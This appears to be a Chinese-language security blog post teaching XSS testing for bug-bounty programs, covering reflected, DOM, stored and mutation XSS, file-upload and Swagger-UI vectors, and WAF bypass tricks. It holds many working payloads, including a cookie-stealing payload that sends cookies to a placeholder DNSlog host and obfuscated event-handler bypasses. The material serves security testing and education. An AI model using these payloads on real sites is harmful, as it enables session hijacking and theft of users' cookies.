⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。
前言
在国内的SRC平台中,XSS漏洞往往不被重视,通常被评为低危漏洞。然而在国外的安全社区和漏洞奖励计划中,XSS被视为重要的安全问题,尤其是存储型XSS常常被评为中高危。尽管国内评级较低,但掌握XSS测试技巧依然非常重要——它不仅能帮助你发现更多漏洞,还能提升你在国际安全社区的竞争力。
本文将带你全面了解XSS的测试思路、漏洞类型和实战技巧,让你快速掌握XSS安全测试的核心方法。
一、XSS测试基本流程
1. 探测阶段
测试方法:尝试对可控参数进行探测,观察页面是否有回显。
常用测试Payload:
<h1>111</h1>
'><script>alert(1)</script>
'">213
检查要点:
- 查看页面源码,确认输入内容是否显示
- 检查单引号、双引号、尖括号是否被HTML编码
- 观察浏览器是否执行了JavaScript代码
2. 盲打测试
适用场景:任何会被存储到后台管理系统的数据。
测试方法:
- 使用DNSlog来探测后台的IP
- 在以下位置插入测试Payload:
- Referer头
- 用户个人信息(用户名、地址等)
- 表单输入字段
常用DNSlog平台:
- https://dig.pm/ (推荐,速度快)
- Burp Suite Collaborator(推荐,功能强大)
- http://ceye.io/ (国内站点可能超时)
实战示例 - 窃取Cookie:
<details open ontoggle="new Image().src='http://' + document.cookie.split(';').join('').split('=').join('').split(' ').join('') + '.your-dnslog.com'"></details><h1>你好</h1>
3. 危害证明
测试方法:调用同站点其他敏感接口,证明漏洞危害。
常见攻击场景:
- 窃取Cookie
- 劫持用户会话
- 执行恶意操作
- 钓鱼攻击
二、XSS漏洞类型
1. 反射型XSS
特点:一次性攻击,Payload通过URL参数传递,服务器反射回页面。
测试场景:
- 有URL跳转的位置
- 搜索框、查询参数
- JavaScript伪协议链接
测试示例:
<a href="javascript:alert(1)">点击</a>
实战案例:某金融系统搜索功能存在反射型XSS,用户搜索恶意代码后立即触发。
2. DOM型XSS
特点:攻击完全在客户端执行,服务器无感知。
关键特性:
- 客户端执行:整个攻击过程仅在浏览器端完成
- 无服务器日志:Payload在URL#锚点中,不发送到服务器
- WAF不可见:服务器端无法检测到攻击Payload
常见漏洞场景:
- Swagger-ui版本 [3.14.1,3.38.0) 存在漏洞
xxx/swagger-ui.html?configUrl=https://malicious.com/test.json xxx/swagger-ui.html?url=https://malicious.com/test.json - jQuery版本 [1.2,3.5.0) 存在多个XSS漏洞(CVE-2020-11022、CVE-2020-11023)
绕过技巧:利用URL锚点特性
http://example.com/page.html#<a href="javascript:alert(1)">点我</a>
3. 存储型XSS
特点:攻击代码被持久化存储到数据库,危害最大。
测试场景:
- 用户昵称、签名
- 帖子内容
- 评论功能
重要提示:CSRF防御挡不住存储型XSS,因为XSS的JavaScript是同源触发的,可以获取到所有请求参数。
实战案例:某企业SRC社区发布帖子功能存在存储型XSS,通过修改链接地址为javascript伪协议实现1click XSS。
4. mXSS(Mutation XSS)
特点:在DOM操作过程中浏览器渲染造成的畸变引起的。
典型场景:将数据赋值到a.innerHTML后,再取出重新赋值到b.innerHTML的过程中产生畸变。
5. UBB标签XSS
特点:论坛常用的标签系统,如果存在XSS漏洞,可以这样利用:
[img]javascript:alert();[/img]
转成HTML代码的时候造成跨站。
6. XLSX文件XSS
特点:通过伪造Excel文件实现XSS攻击。
攻击方法:
const htmlPayload = `<!DOCTYPE html>
<html>
<script>alert(document.cookie)</script>
</html>`;
const badXlsx = new File([htmlPayload], "xss.xlsx", {
type: "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
});
const a = document.createElement('a');
a.href = URL.createObjectURL(badXlsx);
a.download = 'xss.xlsx';
a.click();
三、常见XSS测试场景
1. 用户输入场景
测试位置:
- 昵称、用户名
- 用户签名、简介
- 各种地址信息
- 联系方式
2. 文件上传场景
测试方法:
- PDF在线预览:上传包含恶意JavaScript的PDF文件
- HTML文件上传:直接上传HTML文件
- SVG文件上传:
<svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red"/> <script>alert(1)</script> </svg> - 修改filename扩展名:尝试绕过文件类型检查
实战案例:某视频网站身份证上传功能存在XSS漏洞,可上传HTML文件并被解析执行。
3. Swagger接口文档
漏洞类型:DOM型历史漏洞
攻击方式:
swagger-ui.html?configUrl=https://xss.smarpo.com/test.json
4. 在线客服系统
测试方法:关注页面上所有输入框,检查内容是否会在页面显示出来。
5. JSONP接口
测试方法:在callback参数后插入恶意代码。
6. Nginx漏洞
漏洞原理:URL中使用%0a%0d(回车换行)绕过。
测试方法:
- 发送请求:
%0a%0did=1 - 查看响应头是否包含
id=1 - 如果包含则多次使用,使
id=1进入响应体,然后构造XSS
四、XSS绕过WAF实战技巧
1. 探测WAF规则
测试步骤:
"<script>alert(1)</script>" // 被拦截(403)
"<body>1</body>" // 正常显示(200)
"<body onerror=1>1</body>" // 被拦截(403)
2. 枚举可用事件属性
方法:在浏览器console中执行以下代码:
let results = [];
for (let i in document) {
if (i.startsWith("on")) {
results.push(i);
}
}
console.log(results);
常用绕过属性:onscrollend、onpointerenter、ondraggesturechange等
3. 字符编码绕过
技巧:使用ASCII码比较避免直接使用被拦截的字符串。
示例:
for (var i in self) {
if (i.charCodeAt(0) == 97) {
if (i.charCodeAt(1) == 108) {
self[i]();
}
}
}
4. 构造完整Payload
实战示例:
<div style='height: 200; overflow: auto;' onscrollend='for (var i in self) { if (i.charCodeAt(0)==97 ) {if(i.charCodeAt(1)==108){ self[i]() }} }'>
<p>
5. 其他绕过方法
| 类型 | 方法 | 示例 |
|---|---|---|
| 事件属性 | 使用冷门事件 | onscrollend、onpointerenter |
| 字符编码 | ASCII码比较 | charCodeAt(0)==97 |
| 标签混淆 | 使用非标准标签 | <svg><animate> |
| CSS表达式 | IE专属漏洞 | expression(alert(1)) |
| 编码绕过 | URL编码/HTML实体 | %3Cscript%3E |
五、DNSlog使用技巧
1. 平台推荐
| 平台 | 特点 |
|---|---|
| https://dig.pm/ | 速度快,灵敏 |
| Burp Suite Collaborator | 功能强大,推荐 |
| http://ceye.io/ | 国内站点可能超时 |
2. 常用Payload示例
窃取Cookie:
<details open ontoggle="new Image().src='http://' + document.cookie.split(';').join('').split('=').join('').split(' ').join('') + '.your-dnslog.com'"></details>
六、XSS接收平台
推荐平台:https://xssjs.com/dashboard
七、实战案例总结
案例1:XSS绕过WAF
发现过程:
- 探测WAF规则,发现
<script>和onerror被拦截 - 枚举浏览器事件属性,发现
onscrollend可用 - 使用ASCII码比较绕过字符串匹配
- 构造触发条件,确保事件能被触发
案例2:存储型XSS漏洞
发现过程:
- 测试帖子发布功能的链接添加功能
- 抓包修改链接为
javascript:alert(1) - 删除rel属性,发布帖子
- 其他用户点击链接即可触发XSS
案例3:DOM型XSS漏洞
发现过程:
- 分析JS代码,发现直接从URL获取输入并插入页面
- 浏览器XSS防护拦截了URL参数中的恶意代码
- 利用URL锚点特性绕过检测
案例4:HTML文件上传XSS
发现过程:
- 测试身份证上传功能
- 尝试上传HTML文件,发现后缀未过滤
- 获取上传文件URL,访问触发XSS
结语
XSS漏洞是Web安全中最常见的漏洞类型之一,掌握XSS测试技巧对于SRC漏洞挖掘至关重要。记住:耐心测试、善于发现、勤于总结,这是成为优秀安全测试工程师的必经之路。
如果这篇文章对你有帮助,请点赞支持一下!有任何问题欢迎在评论区交流讨论。

1682

被折叠的 条评论
为什么被折叠?



